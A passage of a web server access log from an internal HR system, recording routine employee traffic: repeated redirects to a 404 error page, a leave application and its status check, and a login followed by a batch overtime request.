/ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:42 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.44 - - [01/Dec/2025:10:16:42 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:42 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.44 - - [01/Dec/2025:10:16:42 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:42 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.44 - - [01/Dec/2025:10:16:42 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:42 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.44 - - [01/Dec/2025:10:16:43 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:43 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.44 - - [01/Dec/2025:10:16:43 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:43 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.44 - - [01/Dec/2025:10:16:43 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:43 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.44 - - [01/Dec/2025:10:16:43 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:43 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.44 - - [01/Dec/2025:10:16:44 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:44 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.44 - - [01/Dec/2025:10:16:44 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:44 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.44 - - [01/Dec/2025:10:16:44 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:44 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.44 - - [01/Dec/2025:10:16:44 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:44 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.44 - - [01/Dec/2025:10:16:44 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:44 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.44 - - [01/Dec/2025:10:16:55 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10447 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:55 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10447 192.168.40.44 - - [01/Dec/2025:10:16:58 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 16539 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:58 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 16539 192.168.40.44 - - [01/Dec/2025:10:17:12 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4991 "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:17:12 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4991 192.168.40.44 - - [01/Dec/2025:10:17:20 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:17:20 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 192.168.40.44 - - [01/Dec/2025:10:17:38 +0800] "POST /ehr/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:17:38 +0800] "POST /ehr/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 192.168.40.44 - - [01/Dec/2025:10:17:41 +0800] "POST /ehr/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:17:41 +0800] "POST /ehr/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.40.44 - - [01/Dec/2025:10:17:41 +0800] "GET /ehr/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120303%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:17:41 +0800] "GET /ehr/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120303%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 192.168.40.44 - - [01/Dec/2025:10:17:43 +0800] "GET /ehr/ess/redirect.php?scriptname=emp_leave_apply_search&flowseqno=120303 HTTP/1.1" 200 6612 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120303%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:17:43 +0800] "GET /ehr/ess/redirect.php?scriptname=emp_leave_apply_search&flowseqno=120303 HTTP/1.1" 200 6612 192.168.40.44 - - [01/Dec/2025:10:17:45 +0800] "POST /ehr/ess/redirect.php?scriptname=emp_leave_apply_search&flowseqno=120303 HTTP/1.1" 200 148523 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=emp_leave_apply_search&flowseqno=120303" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:17:45 +0800] "POST /ehr/ess/redirect.php?scriptname=emp_leave_apply_search&flowseqno=120303 HTTP/1.1" 200 148523 192.168.40.44 - - [01/Dec/2025:10:17:53 +0800] "POST /ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=120303 HTTP/1.1" 200 5213 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:17:53 +0800] "POST /ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=120303 HTTP/1.1" 200 5213 192.168.11.55 - - [01/Dec/2025:10:22:36 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [01/Dec/2025:10:22:36 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.55 - - [01/Dec/2025:10:22:36 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [01/Dec/2025:10:22:36 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.55 - - [01/Dec/2025:10:22:40 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [01/Dec/2025:10:22:40 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.55 - - [01/Dec/2025:10:22:45 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [01/Dec/2025:10:22:45 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.55 - - [01/Dec/2025:10:22:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [01/Dec/2025:10:22:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.55 - - [01/Dec/2025:10:22:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [01/Dec/2025:10:22:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.55 - - [01/Dec/2025:10:23:45 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2619238765271703 HTTP/1.1" 200 8736 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [01/Dec/2025:10:23:45 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2619238765271703 HTTP/1.1" 200 8736 192.168.11.55 - - [01/Dec/2025:10:23:51 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2619238765271703 HTTP/1.1" 200 14154 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2619238765271703" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [01/Dec/2025:10:23:51 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2619238765271703 HTTP/1.1" 200 14154 192.168.11.55 - - [01/Dec/2025:10:24:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [01/Dec/2025:10:24:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4264 192.168.11.55 - - [01/Dec/2025:10:24:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 